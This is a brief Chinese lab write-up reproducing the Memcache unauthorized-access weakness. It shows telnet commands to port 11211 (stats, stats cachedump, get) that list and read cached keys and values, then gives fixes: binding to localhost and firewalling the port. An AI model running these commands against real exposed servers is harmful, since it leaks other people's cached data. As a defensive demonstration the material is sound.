【漏洞复现】Memcache未授权访问
memcache是一套常用的key-value缓存系统,由于其本身没有权限控制模块,所以开放在外网的memcache非常容易受到攻击,攻击者可以获取其内部的敏感信息。
漏洞复现
kali linux下,安装、启动
apt-get install memcached
memcached -d -m 128 -p 11211 -u root
端口扫描可以扫出该端口
通过telnet连接
telnet.exe 10.128.0.9 11211
一些命令
stats //查看memcache 服务状态
stats items //查看所有items
stats cachedump 32 0 //获得缓存key
get :state:264861539228401373:261588 //通过key读取相应value ,获得实际缓存内容,造成敏感信息泄露
修复
- 如果没有在外网开放的必要,可以在memcache启动的时候指定绑定的ip地址为127.0.0.1
memcached -d -m 1024 -u root -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid
- 通过iptables进行访问控制,限制memcache端口的访问来源